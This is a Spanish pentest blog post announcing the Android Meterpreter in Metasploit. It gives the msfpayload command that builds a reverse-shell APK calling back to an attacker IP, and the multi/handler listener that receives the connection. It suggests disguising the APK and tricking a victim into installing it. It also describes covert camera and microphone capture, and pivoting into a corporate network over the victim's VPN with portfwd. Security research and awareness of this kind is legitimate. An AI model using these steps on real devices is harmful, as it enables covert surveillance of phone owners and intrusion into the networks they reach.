Hace ya una buena temporada que venía haciendo un "marcaje de cerca" a ESTE "Pull Request"
que existía en el GitHub sobre una iniciativa para portar el
Meterpreter Java para Android, que aunque pueda parecer trivial porque
las aplicaciones de Android se programan en Java, no es exactamente
portable el Java "habitual" que el Java para la máquina virtual Dalvik
que tenemos en nuestros Android.
Durante este tiempo he ido bajándome el fork de Metasploit de timwr,
que ha sido una de las personas que más han contribuido en esta nueva
versión del Meterpreter, y la verdad es que lleva tiempo siendo bastante
estable, salvo algún error que me encontré que tuve que arreglar
desempaquetando el APK, modificando alguna cosa y volviéndolo a
empaquetar para su uso.
Finalmente, después de mucha espera, hoy mismo he visto que se ha hecho
un commit de esta funcinalidad hace unos pocos días, por lo que en
teoría ya tenéis la funcionalidad en el fork principal de Metasploit.
Vamos a ver si es verdad:
$ ./msfupdate
[*]
[*] Attempting to update the Metasploit Framework...
[*]
[...]
create mode 100644 external/source/javapayload/androidpayload/library/src/androidpayload/stage/Meterpreter.javacreate mode 100644 external/source/javapayload/androidpayload/library/src/androidpayload/stage/Shell.java
create mode 100644 external/source/javapayload/androidpayload/library/src/androidpayload/stage/Stage.java
create mode 100644 external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/AndroidMeterpreter.java
create mode 100644 external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_fs_file_expand_path_android.java
create mode 100644 external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_process_get_processes_android.java
La cosa pinta bien ¿no? Sí que parece que hay ficheros que nos hacen
pensar que la funcionalidad del nuevo Meterpreter para Android ha sido
incorporada. Vamos a ver la ayuda de msfpayload, a ver si confirma
nuestra teoría:
$ ./msfpayload -l | grep -i android
android/meterpreter/reverse_tcp Connect back stager, Run a meterpreter server on Android
android/shell/reverse_tcp Connect back stager, Spawn a piped command shell (sh)
¡Genial! Parece que se acabó eso de tener que instalar dos forks de
Metasploit, uno el estandar y el otro con esta funcionalidad. Vamos a
generar un APK con un Meterpreter con reverse shell, a ver si
conseguimos que alguien se lo instale y jugamos un poco con él :)
$ ./msfpayload android/meterpreter/reverse_tcp LHOST=11.22.33.44 R > meter.apk
Tenemos que decirle a msfpayload que use la salida RAW. Eso en otros
payloads nos sacaría el shellcode sin formato, pero en el caso de
Android nos saca el APK. Veámoslo:
$ file meter.apk
meter.apk: Zip archive data, at least v2.0 to extract
Nos dice que es un ZIP, pero es que en realidad un fichero APK no es más
que un ZIP que contiene una serie de ficheros con un formato
determinado. Ahora solo tenemos que instalar la aplicación en un
Android, generalmente con algún tipo de engaño. Este APK es más bien una
prueba de concepto, porque viene con un icono azul de Metasploit, pero
podría esconderse el mismo código en una aplicación que "diera el pego" y
el efecto sería el mismo. Al arrancar la aplicación se recibe la
conexión inversa.
$ ./msfcli multi/handler PAYLOAD=android/meterpreter/reverse_tcp LHOST=0.0.0.0 E
Ya hemos comprobado que el Meterpreter para Android, funcionar funciona,
pero lo que no sabemos es que funcionalidades tiene. Evidentemente,
como sucede en las versiones Java y Linux, la funcionalidad es mucho más
reducida que en la versión para Windows, pero aún así hay
funcionalidades muy interesantes que nos pueden servir para ilustrar los
riesgos de seguridad de un dispositivo móvil. Por ejemplo, viene con
funcionalidad para realizar fotografías empleando tanto la cámara
delantera como la trasera, si estuviera disponible. Otra funcionalidad
que me pareció extremadamente interesante fue la posibilidad de activar
el micrófono y usar el terminal como un micro oculto. Esta no conseguí
hacerla funcionar en el teléfono que lo probé, pero supongo que poco a
poco irán puliendo estos detalles.
Imagínatelo, comprometer un terminal móvil y poder escuchar y ver por
donde va el usuario. Sin duda un gran trabajo de la gente que ha
contribuido con este módulo y de la gente de Rapid7 al ayudar a su
integración en Metasploit.
Otra de las funcionalidades que pueden impresionar menos a nivel
mediático, pero que resultan muy peligroso a nivel corporativo, es la
posibilidad de hacer port-relaying desde el terminal móvil. Digo que
interesa a nivel corporativo porque, a un usuario "de casa", no se saca
nada haciendo un port-relay, pero en una empresa... ¿qué ocurre si
hacemos esto cuando el usuario tiene levantada la VPN que le da acceso a
la red interna de la empresa?
meterpreter> portfwd add -l 80 -r 192.168.100.10 -p 80
[*] Local TCP relay created: 0.0.0.0:80 <-> 192.168.100.10:80->
Lo dicho, un gran trabajo de la colaboración de la comunidad y del
equipo de desarrollo de Metasploit que seguro que nos va a dar mucho
juego.
Fuente:http://www.pentester.es/2013/05/nuevo-meterpreter-para-android.html